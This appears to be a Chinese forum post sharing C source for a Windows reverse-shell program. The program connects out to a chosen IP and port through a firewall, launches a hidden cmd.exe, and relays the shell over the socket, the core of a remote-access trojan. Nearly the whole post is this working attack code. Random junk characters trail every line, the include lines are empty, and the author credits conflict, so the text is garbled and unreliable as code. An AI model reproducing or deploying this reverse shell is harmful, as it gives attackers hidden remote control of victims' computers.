这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^,8R,S\}$
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/* ============================== OCV+h'
Rebound port in Windows NT l7}g^\I
By wind,2006/7 K@u&(}
===============================*/ 3x@<Z68S
#include )9v`f9X){
#include `BY&>WY[
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#pragma comment(lib,"wsock32.lib") 6^)}PX= *
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void OutputShell(); f{&bOF v
SOCKET sClient; ?KE$r~dn
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OMrc_)he\
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void main(int argc,char **argv) .12aUXo(
{ </"4 zD|
WSADATA stWsaData; $_;e>*+x
int nRet; 1wj:aD?g
SOCKADDR_IN stSaiClient,stSaiServer; If-_?wZe
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if(argc != 3) !#yq@2QX
{ ~I=Y{iM
printf("Useage:\n\rRebound DestIP DestPort\n"); O(Jj|Z
return; "3CJUr:Q
} (bp9Pj w
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WSAStartup(MAKEWORD(2,2),&stWsaData); Iah[j,]r
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SA"p\}"
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stSaiClient.sin_family = AF_INET; Q \hY7Xq'
stSaiClient.sin_port = htons(0); s)J(/
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #qBr/+b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +IFw_3$
{ /=?x{(B>
printf("Bind Socket Failed!\n"); t=
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return; i[jJafAcN
} XXZaKgsq
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stSaiServer.sin_family = AF_INET; ,:Z^$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O[^%{'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oqd;6[%G
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YwEpy(}hJm
{ fxcc<h4
printf("Connect Error!"); yay<GP?
return; YZf6|
} o{qr!*_3
OutputShell(); [Nm4sI11
} n/d`qS
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void OutputShell() =T?}Nt
{ /phX'xp
char szBuff[1024]; -Apc$0ZsN
SECURITY_ATTRIBUTES stSecurityAttributes; 7cDU2l
OSVERSIONINFO stOsversionInfo; {7hLsK[])
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9pn>-1NJ
STARTUPINFO stStartupInfo; BaI $S>/Q
char *szShell; Ws U)Y&
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )- 15 N
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); CqMhk
stSecurityAttributes.lpSecurityDescriptor = 0; Cwa^"r3P1
stSecurityAttributes.bInheritHandle = TRUE; (& "su3z
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2jJmE&)7,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s9;#!7ms
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Qj{8?lew
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |~`as(@Ih
stStartupInfo.wShowWindow = SW_HIDE; +d}E&=p_
stStartupInfo.hStdInput = hReadPipe; >^Q&nkB"B
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O|IG_RL]
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GetVersionEx(&stOsversionInfo); $
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^ 2GHe<Y
switch(stOsversionInfo.dwPlatformId) MB^~%uZ2K
{ C&LBr|
case 1: +Mewo
szShell = "command.com"; 94uNI8
break; }"vW4
default: vy2Q g
szShell = "cmd.exe"; V]OmfPve
break; -Xu.1S
} z<sg0K8z63
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /n~\\9#3
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send(sClient,szMsg,77,0); :bV mgLgG
while(1) EF7+ *Q9
{ S1Z2_V
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z?/1Kj}xG
if(lBytesRead) omO
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{ FuG4F
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); 'FlJpA}
} 6=4wp?
else El_wdbbT
{ nkxzk$
lBytesRead=recv(sClient,szBuff,1024,0); Hgeg@RP
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if(lBytesRead<=0) break; O RGD
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XZ&KR.C,
} +d+@u)6
} w\54j)rb
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return; h5%<+D<
}